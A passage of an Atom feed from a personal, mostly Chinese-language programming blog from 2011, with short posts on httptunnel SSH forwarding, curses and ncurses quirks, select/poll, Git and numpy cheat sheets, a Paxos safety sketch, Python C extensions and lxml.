        <updated>2011-06-28T08:24:23Z</updated>
        <content type="html"><![CDATA[<p>Server is hts. Client is htc. htc supports HTTP proxy and proxy authentication.</p>

<pre class="brush:bash">
# Server listens on port 80, and forwards to local port 22
hts -F 127.0.0.1:22 80

# Client forwards local port 3333 to &lt;server ip&gt;:80
htc [-A user:password] [-P &lt;proxy ip&gt;:port] -F 3333 &lt;server ip&gt;:80

# SSH to server from client. Client just needs to connect to a local port.
ssh -p 3333 user@127.0.0.1

# The whole process is as follows (7001/8002/9003 are arbitrary ports):
#
#    Client                      Server      
# 7001 -&gt; 3333                 9003 -&gt; 22
#           \                   /
#          8002 --httptunnel-- 80
</pre>

<p>It seems IPv6 is not supported because I find hts doesn&apos;t listen on IPv6 ports.</p>]]></content>
    </entry>
    <entry>
        <title>addch bug in Python&#039;s curses module</title>
        <link href="http://blog.cykerway.com/post/358" />
        <id>http://blog.cykerway.com/post/358</id>
        <updated>2011-06-27T03:37:58Z</updated>
        <content type="html"><![CDATA[<p>看下面这个程序：</p>

<pre class="brush:python">
#!/usr/bin/python2

import curses
import time

stdscr = curses.initscr()
h, w = stdscr.getmaxyx()

stdscr.addch(h-1, w-1, &apos;*&apos;)

stdscr.refresh()
time.sleep(3)
curses.endwin()
</pre>

<p>运行，发现崩溃了，错误提示为_curses.error: addch() returned ERR。咦，为什么不能在右下角的位置放一个字符？</p>

<p>答案是，addch会将光标向右移动一格，在右下角的位置向右一格就超出窗口了。所以，这个问题不只是stdscr会有，其他window也会有。不只是addch会有，addstr也会有。</p>

<p>一个解决办法是用insch替代addch。可是这太恶心了，因为insch在其他位置使用时会将文本右移，于是不得不对右下角位置和其他位置区别使用。</p>

<p>另一个稍好的解决办法是将addch用try...except...包起来并忽略错误，像下面这样：</p>

<pre class="brush:python">
#!/usr/bin/python2

import curses
import time

stdscr = curses.initscr()
h, w = stdscr.getmaxyx()

try:
    stdscr.addch(h-1, w-1, &apos;*&apos;)
except curses.error:
    pass

stdscr.refresh()
time.sleep(3)
curses.endwin()
</pre>

<p>这样虽然不用对不同位置分别处理了，可是每次使用addch/addstr都要加try...except...不是很烦？因为多数情况下并不关心添加的内容是否超出了窗口。</p>

<p>C里面就工作得好好的：</p>

<pre class="brush:c">
#include &lt;ncurses.h&gt;

int main()
{
    initscr();

    /* get window size */
    int h,w;
    getmaxyx(stdscr, h, w);

    mvaddch(h-1, w-1, &apos;*&apos;);
    refresh();

    sleep(3);

    endwin();
    return 0;
}
</pre><p>虽然超出窗口有必要提醒一下，但总应该设置个选项允许忽略这个问题吧，某种意义上说这也算个bug了。</p>

<p>Links:</p>
<ul>
    <li><a href="http://code.activestate.com/lists/python-list/336588/">http://code.activestate.com/lists/python-list/336588/</a></li>
    <li><a href="http://ubuntuforums.org/showthread.php?t=1314203&goto=nextnewest">http://ubuntuforums.org/showthread.php?t=1314203&amp;goto=nextnewest</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>ncurses painter</title>
        <link href="http://blog.cykerway.com/post/357" />
        <id>http://blog.cykerway.com/post/357</id>
        <updated>2011-06-27T02:42:05Z</updated>
        <content type="html"><![CDATA[<p>蛋疼地写了个hjkl画图的小程序，人生就是各种上下左右找不着北。</p>

<pre class="brush:c">
#include &lt;ncurses.h&gt;

inline int max(int a, int b)
{
    return (a &gt; b) ? a : b;
}

inline int min(int a, int b)
{
    return (a &lt; b) ? a : b;
}

int main()
{
    initscr();
    cbreak();
    noecho();
    //curs_set(0);

    /* get window size */
    int h,w;
    getmaxyx(stdscr, h, w);

    int y = 0,x = 0;
    int c;
    while ((c = getch()) != &apos;q&apos;) {
        if (c &gt;= &apos;a&apos;) {
            mvaddch(y, x, &apos;*&apos;);
            move(y, x);
        }
        if (c == &apos;h&apos; || c == &apos;H&apos;) {
            x = max(0, x-1);
        } else if (c == &apos;j&apos; || c == &apos;J&apos;) {
            y = min(h-1, y+1);
        } else if (c == &apos;k&apos; || c == &apos;K&apos;) {
            y = max(0, y-1);
        } else if (c == &apos;l&apos; || c == &apos;L&apos;) {
            x = min(w-1, x+1);
        }
        if (c &gt;= &apos;a&apos;)
            mvaddch(y, x, &apos;*&apos;);
        move(y, x);
        refresh();
    }

    endwin();
    return 0;
}
</pre>

<p><a href="/uploads/20110627/painter.png"><img src="/uploads/20110627/painter.png" alt="ncurses-painter" /></a></p>]]></content>
    </entry>
    <entry>
        <title>select/poll</title>
        <link href="http://blog.cykerway.com/post/356" />
        <id>http://blog.cykerway.com/post/356</id>
        <updated>2011-06-26T23:39:09Z</updated>
        <content type="html"><![CDATA[<pre class="brush:c">
// select.c

#include &lt;sys/select.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;

void check_ready(int fdi, int fdo)
{
    // input fds
    fd_set fdsi;
    FD_ZERO(&amp;fdsi);     // null set
    FD_SET(fdi, &amp;fdsi);  // add fdi to fdsi

    // output fds
    fd_set fdso;
    FD_ZERO(&amp;fdso);     // null set
    FD_SET(fdo, &amp;fdso);  // add fdo to fdso

    // timeval
    struct timeval tv;
    tv.tv_sec = 2;
    tv.tv_usec = 0;

    int nfds = (fdi &gt; fdo) ? fdi+1 : fdo+1; // set nfds to maxfd+1
    // select, checking:
    // readability for fdsi,
    // writability for fdso.
    // no checking for exceptionability here.
    int ret = select(nfds, &amp;fdsi, &amp;fdso, NULL, &amp;tv);
    printf(&quot;ret = %d\n&quot;, ret);

    if (ret &lt; 0) {
        printf(&quot;error\n&quot;);
    } else if (ret == 0) {
        printf(&quot;timeout\n&quot;);
    } else {
        if (FD_ISSET(fdi, &amp;fdsi))
            printf(&quot;input fd is ready to read\n&quot;);
        else
            printf(&quot;input fd isn&apos;t ready to read\n&quot;);

        if (FD_ISSET(fdo, &amp;fdso))
            printf(&quot;output fd is ready to write\n&quot;);
        else
            printf(&quot;output fd isn&apos;t ready to write\n&quot;);
    }
}

int main()
{
    int f = open(&quot;/tmp/this_dummy_file_should_not_exist.txt&quot;, O_WRONLY | O_CREAT, 0644);
    check_ready(STDIN_FILENO, f);

    return 0;
}
</pre>

<pre class="brush:c">
// poll.c

#include &lt;poll.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;

void check_ready(int fdi, int fdo)
{
    // setup pollfds, with events interested in
    struct pollfd fds[2];   
    fds[0].fd = fdi;
    fds[0].events = POLLIN;
    fds[1].fd = fdo;
    fds[1].events = POLLOUT;

    // poll
    int ret = poll(fds, 2, 2000);
    printf(&quot;ret = %d\n&quot;, ret);

    if (ret &lt; 0) {
        printf(&quot;error\n&quot;);
    } else if (ret == 0) {
        printf(&quot;timeout\n&quot;);
    } else {
        if (fds[0].revents &amp; POLLIN)
            printf(&quot;input fd is ready to read\n&quot;);
        else
            printf(&quot;input fd isn&apos;t ready to read\n&quot;);

        if (fds[1].revents &amp; POLLOUT)
            printf(&quot;output fd is ready to write\n&quot;);
        else
            printf(&quot;output fd isn&apos;t ready to write\n&quot;);
    }
}

int main()
{
    int f = open(&quot;/tmp/this_dummy_file_should_not_exist.txt&quot;, O_WRONLY | O_CREAT, 0644);
    check_ready(STDIN_FILENO, f);

    return 0;
}
</pre>

<pre class="brush:bash">
$ ./select
$ ./poll
$ echo abc | ./select
$ echo abc | ./poll
</pre>]]></content>
    </entry>
    <entry>
        <title>python-mpd</title>
        <link href="http://blog.cykerway.com/post/355" />
        <id>http://blog.cykerway.com/post/355</id>
        <updated>2011-06-26T20:30:49Z</updated>
        <content type="html"><![CDATA[<p>原来用C写过一个mpd client，后来觉得Python可能更合适，于是找了一下相关的lib，发现python-mpd是比较推荐的。下载下来一看发现包括注释只有457行，挺简练的，于是简单分析了一下。</p>

<p>主类是MPDClient，里面并没有定义很多public方法，但play/stop/repeat等方法都执行无误。原来这是用__getattr__实现的，这个函数的返回值是一个lambda函数，所以看上去好像是直接调用了对应的方法一样。用__getattr__还有一个好处是可以针对不同的方法名做不同的处理，看代码的话会发现返回的lambda函数实际上是调用wrapper来处理，而wrapper是_send/_fetch/_execute之一。</p>

<p>socket是在connect方法中建立的，这个connect方法确实是实际定义的。根据host来区分是Unix Domain Socket还是TCP socket。建立好socket之后设置读写FD。</p>

<p>最底层的IO函数是_write_line和_read_line，是直接在socket的FD上做IO。其他的IO函数都是通过调用这两个来实现的。值得一提的是_fetch_objects这个函数。有很多读取的内容都是同类的多个对象，例如songs/playlists等等，这里通过delimeter的方式统一实现了。具体做法是在_read_objects中写的，_fetch_objects调用了_read_objects。</p>

<p>command_list方面因为不会用到，所以没有仔细看。根据mpd的协议看上去就是一大串命令前面加个command_list_ok_begin后面加个command_list_end之类。再设置一些标志位表示是否在command_list中。</p>

<p>虽然只是简单传些文本，不到500行能清晰搞定也还是十分NB的。</p>]]></content>
    </entry>
    <entry>
        <title>Vim Trick - Comments Alignment</title>
        <link href="http://blog.cykerway.com/post/354" />
        <id>http://blog.cykerway.com/post/354</id>
        <updated>2011-06-26T17:15:07Z</updated>
        <content type="html"><![CDATA[<p>对于注释不对齐的代码，用Vim可以方便地对齐。例如下面这个文件：</p>

<pre class="brush:python">
#!/usr/bin/env python
import mpd 					                        # Import MPD Library
import pyosd										            # Import OSD Library
import time											            # Import Internal Time Module

client = mpd.MPDClient()							      # Init MPD Client
client.connect(&quot;localhost&quot;, 6600)					  # Connect to local MPD Server

cs = client.currentsong()                   # Get the currentsong dict
if &apos;title&apos; in cs:                           # Check to see if &quot;title&quot; title exists in the dict
 	songtitle = cs[&apos;title&apos;]                   # If it does set songtitle to the id3 title
elif &apos;file&apos; in cs:                          # If it doesn&apos;t have a title use the filename
 	songtitle = cs[&apos;file&apos;]                    # Set songtitle to the filename

FONT = &quot;-*-helvetica-*-r-normal--34-*-*&quot;    # Set the font

COLOR = &quot;#287D28&quot;									          # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR)		  # init pyosd with the font and color
p.display(songtitle)								        # Finally use Pyosd to display the song title

time.sleep(2)                               # Show the message for 2 seconsd
</pre>

<p>我们想要将#对齐在同一列。首先注意到这个例子中代码列和注释列不重合，否则先把#替换为若干空格+#。然后在代码列和注释列中选一列j，用Ctrl+v将空格替换为#。</p>

<pre class="brush:python">
#!/usr/bin/env python
import mpd 					             #          # Import MPD Library
import pyosd							 #  		            # Import OSD Library
import time								 #  		            # Import Internal Time Module

client = mpd.MPDClient()				 #  		      # Init MPD Client
client.connect(&quot;localhost&quot;, 6600)		 #  		  # Connect to local MPD Server

cs = client.currentsong()                #  # Get the currentsong dict
if &apos;title&apos; in cs:                        #  # Check to see if &quot;title&quot; title exists in the dict
 	songtitle = cs[&apos;title&apos;]              #    # If it does set songtitle to the id3 title
elif &apos;file&apos; in cs:                       #  # If it doesn&apos;t have a title use the filename
 	songtitle = cs[&apos;file&apos;]               #    # Set songtitle to the filename

FONT = &quot;-*-helvetica-*-r-normal--34-*-*&quot; #  # Set the font

COLOR = &quot;#287D28&quot;						 #  		          # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR)	 #    # init pyosd with the font and color
p.display(songtitle)					 #  		        # Finally use Pyosd to display the song title

time.sleep(2)                            #  # Show the message for 2 seconsd

</pre>

<p>最后用Shift+v选中所有要修改的行，执行s/#\s*#/#/g，于是就对齐了。</p>

<pre class="brush:python">
#!/usr/bin/env python
import mpd 					             # Import MPD Library
import pyosd							 # Import OSD Library
import time								 # Import Internal Time Module

client = mpd.MPDClient()				 # Init MPD Client
client.connect(&quot;localhost&quot;, 6600)		 # Connect to local MPD Server

cs = client.currentsong()                # Get the currentsong dict
if &apos;title&apos; in cs:                        # Check to see if &quot;title&quot; title exists in the dict
 	songtitle = cs[&apos;title&apos;]              # If it does set songtitle to the id3 title
elif &apos;file&apos; in cs:                       # If it doesn&apos;t have a title use the filename
 	songtitle = cs[&apos;file&apos;]               # Set songtitle to the filename

FONT = &quot;-*-helvetica-*-r-normal--34-*-*&quot; # Set the font

COLOR = &quot;#287D28&quot;						 # Set the color (dark green)
p = pyosd.osd(font=FONT, colour=COLOR)	 # init pyosd with the font and color
p.display(songtitle)					 # Finally use Pyosd to display the song title

time.sleep(2)                            # Show the message for 2 seconsd
</pre>]]></content>
    </entry>
    <entry>
        <title>Git常用命令</title>
        <link href="http://blog.cykerway.com/post/353" />
        <id>http://blog.cykerway.com/post/353</id>
        <updated>2011-06-26T05:45:20Z</updated>
        <content type="html"><![CDATA[<pre class="brush:bash">
# initialization
git init                                            # init a repo
git clone                                           # clone from an existing repo

# local
git add &lt;file&gt;                                      # add file to index (working tree -&gt; index)
git rm --cached &lt;file&gt;                              # remove file from index
git rm &lt;file&gt;                                       # remove file from both index and working tree
git commit                                          # commit index to repo (index -&gt; repo)
git reset HEAD &lt;file&gt;                               # copy from repo to index (index &lt;- repo)
git co &lt;file&gt;                                       # copy from index to working tree (working tree &lt;- index)
git co HEAD &lt;file&gt;                                  # copy from repo to both index and working tree (working tree &lt;- index &lt;- repo)

git tag &lt;tagname&gt;                                   # add a tag
git show &lt;tagname&gt;                                  # show log of commit &lt;tagname&gt;

# log and diff
git log                                             # show log
git diff                                            # show diff between working tree and index
git diff --cached                                   # show diff between index and repo

# branching
git br &lt;branchname&gt; [start-point]                   # add a new branch &lt;branchname&gt; pointing to [start-point]
git co &lt;branchname&gt;                                 # switch to branch &lt;branchname&gt;
git co -b &lt;branchname&gt; [start-point]                # add and switch to a new branch &lt;branchname&gt; pointing to [start-point]
git merge &lt;commit&gt;                                  # merge &lt;commit&gt; with current branch (&lt;commit&gt; can be a branch)
git rebase &lt;commit&gt;                                 # rebase current branch into &lt;commit&gt; (&lt;commit&gt; can be a branch)

# remote
git remote add &lt;name&gt; &lt;url&gt;                         # add a remote repo
git remote rm &lt;name&gt;                                # remove a remote repo
git fetch &lt;repo&gt;                                    # fetch from repo
git fetch &lt;repo&gt; &lt;branch&gt;                           # fetch remote &lt;branch&gt; from repo to local &lt;branch&gt;
git fetch &lt;repo&gt; &lt;remote-branch&gt;:&lt;local-branch&gt;     # fetch &lt;remote-branch&gt; from repo to &lt;local-branch&gt;
git pull &lt;repo&gt;                                     # fetch and merge (syntax similar to fetch)
git push &lt;repo&gt;                                     # push to repo (syntax similar to reversed fetch)

# stash
git stash                                           # save current modification to stash
git stash list                                      # list all stashes
git stash apply --index [stash]                     # apply a stash (restore modification), defaults to top
git stash drop [stash]                              # drop a stash
git stash pop --index [stash]                       # apply and drop
git stash branch &lt;branchname&gt; [stash]               # add and switch to a new branch &lt;branchname&gt; using [stash]

# rollback
git reset --hard &lt;commit&gt;                           # reset HEAD to &lt;commit&gt;, with clean index and working tree

</pre>]]></content>
    </entry>
    <entry>
        <title>Paxos&#039;s safety</title>
        <link href="http://blog.cykerway.com/post/352" />
        <id>http://blog.cykerway.com/post/352</id>
        <updated>2011-06-22T22:32:33Z</updated>
        <content type="html"><![CDATA[<p>Paxos is nothing but two phases.</p>

<p>To prove safety, we just need to show that, if a Phase 2 quorum is first made by a proposal $p$ with round number $r(p)$ and value $v(p)$, then any proposal $q$ with $r(q) &gt; r(p)$ must have $v(q) = v(p)$.</p>

<p>Denote the event, the first Phase 2 quorum is made, by $e$, which happens at time $t$. Then</p>

<ol>
    <li>
        <p>At time $t$, any accepted proposal $q$ must have $r(q) \leq r(p)$. Since different processes never have the same round number, this is to say, any accepted proposal $q$ other than $p$ must have $r(q) &lt; r(p)$.</p>
        <p>Proof. By contradiction. If $r(q) &gt; r(p)$, then $q$&apos;s Phase 1 must have completed before time $t$. But then it prevents $p$&apos;s Phase 2 quorum from being formed.</p>
    </li>
    <li>
        <p>Any proposal $q$ s.t. $r(q) &gt; r(p)$ must have $v(q) = v(p)$.</p>
        <p>Proof. $q$&apos;s Phase 1 cannot complete before $t$, as argued above. Also by the above, we know $r(p)$ is the largest among all accepted proposals at time $t$. So $p$ will be considered in $q$&apos;s Phase 1. </p>
        <ol>
            <li>WLOG suppose there is no proprosal with round number larger than $r(p)$ accepted between time $t$ and the finish time of $q$&apos;s Phase 1. Then $v(p)$ will be selected as $v(q)$ since $r(p)$ is the largest.</li>
            <li>If there is some proposal $o$ accepted between that time, we can prove by induction that $v(o) = v(p)$ for any such $o$. So finally $v(q) = v(p)$ because these newly accepted proposals all have value $v(p)$.</li>
        </ol>
    </li>
</ol>]]></content>
    </entry>
    <entry>
        <title>SQLite Management Tools</title>
        <link href="http://blog.cykerway.com/post/351" />
        <id>http://blog.cykerway.com/post/351</id>
        <updated>2011-06-22T10:25:19Z</updated>
        <content type="html"><![CDATA[<p>想给SQLite找个可视化工具，发现了这个页面：</p>

<p><a href="http://www.sqlite.org/cvstrac/wiki?p=ManagementTools">http://www.sqlite.org/cvstrac/wiki?p=ManagementTools</a></p>

<p>用了一下sqliteman，还不错。</p>]]></content>
    </entry>
    <entry>
        <title>Python之C扩展</title>
        <link href="http://blog.cykerway.com/post/350" />
        <id>http://blog.cykerway.com/post/350</id>
        <updated>2011-06-20T18:03:50Z</updated>
        <content type="html"><![CDATA[<p>为了提高效率，代码的性能部分可以用C写，再由Python调用。Python调用C扩展主要是一个参数传递的问题。以下是一个例子：</p>

<pre class="brush:c">
// spam.c
#include &lt;stdio.h&gt;

int add(int a, int b)
{
    return a + b;
}

void print_str(const char *u, const char *v)
{
    printf(&quot;u = %s\nv = %s\n&quot;, u, v);
}


// wrap_spam.c
// Python.h must be included before any standard headers
#include &lt;Python.h&gt;

static PyObject *wrap_add(PyObject *self, PyObject *args)
{
    int a;
    int b;
    int res;

    // parse tuple using format string &quot;ii&quot; (two ints)
    if (!PyArg_ParseTuple(args, &quot;ii&quot;, &amp;a, &amp;b))
        return NULL;

    res = add(a, b);
    return Py_BuildValue(&quot;i&quot;,res);
}

static PyObject *wrap_print_str(PyObject *self, PyObject *args)
{
    char *u;
    char *v;

    if (!PyArg_ParseTuple(args, &quot;ss&quot;, &amp;u, &amp;v))
        return NULL;

    print_str(u, v);
    // increase ref counter
    Py_INCREF(Py_None);
    return Py_None;
}

static PyObject *wrap_print_kw_str(PyObject *self, PyObject *args, PyObject *keywds)
{
    // v should be initialized since it&apos;s optional
    char *u;
    char *v = &quot;default_v&quot;;

    // keyword list, set an element to &apos;&apos; if no keyword match
    char *kwlist[] = {&quot;str1&quot;, &quot;str2&quot;, NULL};

    // args after &quot;|&quot; are optional
    if (!PyArg_ParseTupleAndKeywords(args, keywds, &quot;s|s&quot;, kwlist, &amp;u, &amp;v))
        return NULL;

    print_str(u, v);
    Py_INCREF(Py_None);
    return Py_None;
}

// List of methods.
//
// wrap_print_kw_str has type PyCFunctionWithKeywords, 
// but the field in PyMethodDef is PyCFunction. It
// should be OK without this cast, but some warnings 
// will be generated.
static PyMethodDef SpamMethods[] = 
{
    {&quot;add&quot;, wrap_add, METH_VARARGS, &quot;add two numbers&quot;},
    {&quot;print_str&quot;, wrap_print_str, METH_VARARGS, &quot;print two strings&quot;},
    {&quot;print_kw_str&quot;, (PyCFunction)wrap_print_kw_str, METH_VARARGS | METH_KEYWORDS, &quot;print two strings, which can be specified by keyword args&quot;},
    {NULL, NULL, 0, NULL}
};

// Init function. Name must be init+[module name]
void initspam()
{
    PyObject *m = Py_InitModule(&quot;spam&quot;, SpamMethods);
}

</pre>

<p>spam.c里定义了函数add和print_str，wrap_spam.c是对这两个函数的包装以方便Python的调用。其中wrap_print_str和wrap_print_kw_str都是对print_str的包装，但具有不同的参数接受形式。</p>

<p>由上例可以看出参数的转换主要是由这么几个函数完成的：</p>
<ul>
    <li>PyArg_ParseTuple</li>
    <li>PyArg_ParseTupleAndKeywords</li>
    <li>Py_BuildValue</li>
</ul>

<p>具体说明参见<a href="http://docs.python.org/c-api/arg.html">http://docs.python.org/c-api/arg.html</a></p>

<p>为Python写C扩展主要有以下几个步骤：</p>

<ol>
    <li>包含头文件Python.h。如果还有其他头文件，必须放在Python.h后面。</li>
    <li>封装函数。供Python调用的函数类型通常为以下二者之一：
        <ul>
            <li>PyCFunction类型，参见<a href="http://docs.python.org/c-api/structures.html#PyCFunction">http://docs.python.org/c-api/structures.html#PyCFunction</a>。简单说就是接受两个PyObject *类型的参数，返回一个PyObject *类型的值。</li>
            <li>PyCFunctionWithKeywords类型。和PyCFunction类似，只是接受三个PyObject *类型的参数。</li>
        </ul>
    </li>
    <li>方法列表。包含了模块中可供调用的方法。参见<a href="http://docs.python.org/c-api/structures.html#PyMethodDef">http://docs.python.org/c-api/structures.html#PyMethodDef</a></li>
    <li>初始化函数。注意函数名称必须是init+[module name]的形式。</li>
    <li>编译链接。有两种方法：
        <ol>
            <li>直接使用gcc
<pre class="brush:bash">
# Makefile

spam.so:spam.c wrap_spam.c
	gcc -fpic -shared -o spam.so spam.c wrap_spam.c -I /usr/include/python2.7/ 
</pre>
            </li>
            <li>使用distutils。建立如下setup.py
<pre class="brush:python">
#!/usr/bin/python2

from distutils.core import setup, Extension

module1 = Extension(&apos;spam&apos;,
                    sources = [&apos;spam.c&apos;, &apos;wrap_spam.c&apos;])

setup (name = &apos;spam&apos;,
       version = &apos;1.0&apos;,
       description = &apos;This is a spam package&apos;,
       ext_modules = [module1])

</pre>
<pre class="brush:bash">
$ python2 setup.py build
</pre>
            </li>
        </ol>
    </li>
</ol>

<p>Links:</p>
<ul>
    <li><a href="http://blog.csdn.net/plusboy/archive/2007/06/29/1671341.aspx">http://blog.csdn.net/plusboy/archive/2007/06/29/1671341.aspx</a></li>
    <li><a href="http://www.ibm.com/developerworks/cn/linux/l-pythc/index.html">http://www.ibm.com/developerworks/cn/linux/l-pythc/index.html</a></li>
    <li><a href="http://docs.python.org/extending/extending.html">http://docs.python.org/extending/extending.html</a></li>
    <li><a href="http://docs.python.org/c-api/arg.html">http://docs.python.org/c-api/arg.html</a></li>
    <li><a href="http://docs.python.org/c-api/structures.html">http://docs.python.org/c-api/structures.html</a></li>
    <li><a href="http://docs.python.org/extending/building.html">http://docs.python.org/extending/building.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Python之numpy</title>
        <link href="http://blog.cykerway.com/post/349" />
        <id>http://blog.cykerway.com/post/349</id>
        <updated>2011-06-19T19:30:38Z</updated>
        <content type="html"><![CDATA[<pre class="brush:python">
#!/usr/bin/python

from numpy import *

# one-dimensional array creation
a = array([0,1,2,3])
a = arange(0,1,0.1)             # [0,1)
a = linspace(0,1,10)            # [0,1], 10 elements

# multi-dimensional array creation
a = array([[0,1,2,3],[4,5,6,7],[8,9,10,11]])
a = arange(12).reshape(3,4)

# array properties
a.shape                         # (3,4)
a.size                          # 3 * 4 = 12
a.ndim                          # len(a.shape) = 2
a.dtype                         # int32

# array creation from given patterns
b = zeros((3,4))                # filled with zeros
b = ones((3,4))                 # filled with ones
b = empty((3,4))                # original value in memory
b = eye(3)                      # 3x3, 1 on main diagonal, 0 otherwise
b = random.random((3,4))        # filled with random value in [0,1)

# array creation from function
def f(i,j):
    return 2 * i + j + 1
b = fromfunction(f,(3,4))

# array creation with explicit dtype
a = array([[0,1,2,3],[4,5,6,7],[8,9,10,11]], dtype=int32)
b = fromfunction(f,(3,4),dtype=int32)

# array operations
c = a + b                       # element-wise add
c = a - b                       # element-wise minus
c = a * b                       # element-wise mult
c = a / b                       # element-wise div
c = a % b                       # element-wise mod
c = a ** b                      # element-wise power

c = exp(a)                      # element-wise exp
c = sqrt(a)                     # element-wise sqrt
c = sin(a)                      # element-wise sin

c = hstack((a,b))               # horizontal stack
c = vstack((a,b))               # vertical stack

c = hsplit(a,2)                 # horizontally split a into 2 parts
c = hsplit(a,(1,3))             # horizontally split a before index 1 and 3
c = vsplit(a,3)                 # vertically split a into 3 parts
c = vsplit(a,(2,))              # vertically split a before index 2

a.sum()                         # sum of all elements
a.sum(axis=0)                   # sum of all rows
a.sum(axis=1)                   # sum of all columns
a.cumsum(axis=0)                # cumulative sum of rows
a.cumsum(axis=1)                # cumulative sum of columns

b.transpose()                   # transpose, equal to a.T
b.conj()                        # conjugate
b.ravel()                       # flatten
b.resize(4,3)                   # resize, equal to a = a.reshape(4,3)

# indexing and slicing (shallow copy)
c = a[0,0]
c = a[0:2,1:4]

i = array([0,2])                # row 0 and 2
j = array([0,1,3])              # column 0, 1 and 3
c = a[ix_(i,j)]                 # subarray indexed by [0,2]x[0,1,3]

i = array([0,1,2,1,2,2])        # [0,0], [1,3], [2,1], [1,2], [2,1], [2,3]
j = array([0,3,1,2,1,3])        # j.ndim = i.ndim
c = a[i,j]                      # array([a[0,0], a[1,3], a[2,1], a[1,2], a[2,1], a[2,3]])

b = a &gt; 5                       # bool array
c = a[b]                        # pick from a where b is true

# deep copy
c = a.copy()                    # deep copy though not named deepcopy
</pre>

<p>Links:</p>
<ul>
    <li><a href="http://www.scipy.org/Tentative_NumPy_Tutorial">http://www.scipy.org/Tentative_NumPy_Tutorial</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>cookie set by 302 page doesn&#039;t work in httplib2</title>
        <link href="http://blog.cykerway.com/post/348" />
        <id>http://blog.cykerway.com/post/348</id>
        <updated>2011-06-18T00:58:38Z</updated>
        <content type="html"><![CDATA[<p>遇到一个奇怪的问题，用httplib2访问一个会设置cookie的302页面，自动跳转访问Location指定的页面时cookie木有了。解决方法是禁用自动跳转并手动设置cookie，如下：</p>



<pre class="brush:python">
h.follow_redirects = False # disable cookie
headers[&apos;Cookie&apos;] = response[&apos;set-cookie&apos;] # manually set cookie
</pre>]]></content>
    </entry>
    <entry>
        <title>Python之XML</title>
        <link href="http://blog.cykerway.com/post/347" />
        <id>http://blog.cykerway.com/post/347</id>
        <updated>2011-06-17T20:03:31Z</updated>
        <content type="html"><![CDATA[<p>解析XML的常用方法有两种：DOM和SAX。DOM就是根据XML文档建一棵树，有了这棵树查询插入删除什么的都可以做了。SAX就是事件驱动，进入一个Element做什么啦退出一个Element做什么啦。在Python中的用法分别参见：</p>

<ul>
    <li><a href="http://wiki.python.org/moin/MiniDom">http://wiki.python.org/moin/MiniDom</a></li>
    <li><a href="http://wiki.python.org/moin/Sax">http://wiki.python.org/moin/Sax</a></li>
</ul>

<p>但本文的主角并不是上面链接里的xml.dom.minidom和xml.sax，而是一个并非Python内置的叫做lxml的库。这个库非常可爱，使用方法非常简单：</p>

<pre class="brush:python">
from lxml import *
</pre>

<p>先从DOM方法说起吧。对一个XML文档进行parse可以得到一个ElementTree对象，对其调用getroot方法可以得到根节点，是一个Element对象。主要的操作都是围绕Element这个类展开的。对一个DOM树的主要操作也就下面这些：</p>

<ul>
<li>
<p>标签名</p>
<p>Element对象的tag成员。</p>
</li>

<li>
<p>子节点</p>
<p>getchildren()方法。但每个Element都是一个list，包含了所有子节点，可以用for loop遍历，也可以用[]直接操作。</p>
</li>

<li>
<p>父节点</p>
<p>getparent()方法。</p>
</li>

<li>
<p>左邻居</p>
<p>getprevious()方法。</p>
</li>

<li>
<p>右邻居</p>
<p>getnext()方法。</p>
</li>

<li>
<p>创建节点</p>
<p>etree.Element(&apos;name&apos;)</p>
</li>

<li>
<p>创建子节点</p>
<p>etree.SubElement(parent,&apos;name&apos;)</p>
</li>

<li>
<p>附加子节点</p>
<p>parent.append(node)</p>
</li>

<li>
<p>插入子节点</p>
<p>parent.insert(pos,node)</p>
</li>

<li>
<p>删除子节点</p>
<p>parent.remove(node)</p>
</li>

<li>
<p>移动/复制节点</p>
<p>移动的话只用正常的赋值操作就可以了（注意这时赋值操作不是复制而是移动，即同一个节点不能出现在一棵DOM树的两个地方）。反倒是复制稍微麻烦一些，要调用copy模块的deepcopy方法。</p>
</li>

<li>
<p>属性</p>
<p>在创建节点时可以以**args形式给出，如：</p>
<p>root = etree.Element(&apos;root&apos;, age=&apos;18&apos;)</p>
<p>也可以直接对节点进行操作，用get和set方法。</p>
<p>还可以使用节点的attrib成员，是一个dict，在里面直接改。</p>
</li>

<li>
<p>文字</p>
<p>文字有两种，一种是节点内(text成员)，一种是节点后(tail)，直接设置即可。没有烦人的TextNode了。</p>
<p>不过有一个问题是，一个包含n个子节点的节点内部可以有n+1块文字，但第一块文字不在任何子节点后怎么办？答案是由该节点而不是子节点设置。</p>
</li>

<li>
<p>子树递推</p>
<p>前面说Element是list，可以for i in node。但是这只是在直接子节点中循环。如果要在整个子树中循环，用for i in node.iter()。</p>
<p>其实iter()还可以给参数，这里就不说了。</p>
</li>

<li>
<p>XPath查询</p>
<p>xpath()方法。有一个默认命名空间的问题需要注意。如果设置了默认命名空间，那么不加命名空间前缀的标签名是匹配不到的。可是又没有前缀，怎么办呢？这时要给xpath()方法传入一个dict，key是自定义的，value是默认命名空间。在xpath的查询表达式中用key作为前缀就可以了。</p>
</li>

<li>
<p>串行化</p>
<p>处理完了总归要输出的，只需调用etree.tostring(root)。一些可选的参数有xml_declaration/encoding/method/pretty_print等。</p>
</li>
</ul>

<p>lxml很好的一点是对event-driven parsing也有很好的支持。这又分两种。第一种是建树的时候报告事件，可以根据事件进行相应的操作，甚至释放子树以节省空间。第二种是用回调函数实现SAX方法。</p>

<p>第一种方法主要用到iterparse()。第二种方法要自己定义ParseTarget，并用自己定义的ParseTarget建立自定义parser，再用这个自定义parser进行parse。</p>

<p>命名空间方面，一般只需要对根节点设置默认命名空间就可以了，也就是root.nsmap设置为{None: &apos;http://xxx.com/xxx&apos;}即可。</p>

<p>Links:</p>

<ul>
    <li><a href="http://lxml.de/tutorial.html">http://lxml.de/tutorial.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Python之Context Manager</title>
        <link href="http://blog.cykerway.com/post/346" />
        <id>http://blog.cykerway.com/post/346</id>
        <updated>2011-06-17T14:44:44Z</updated>
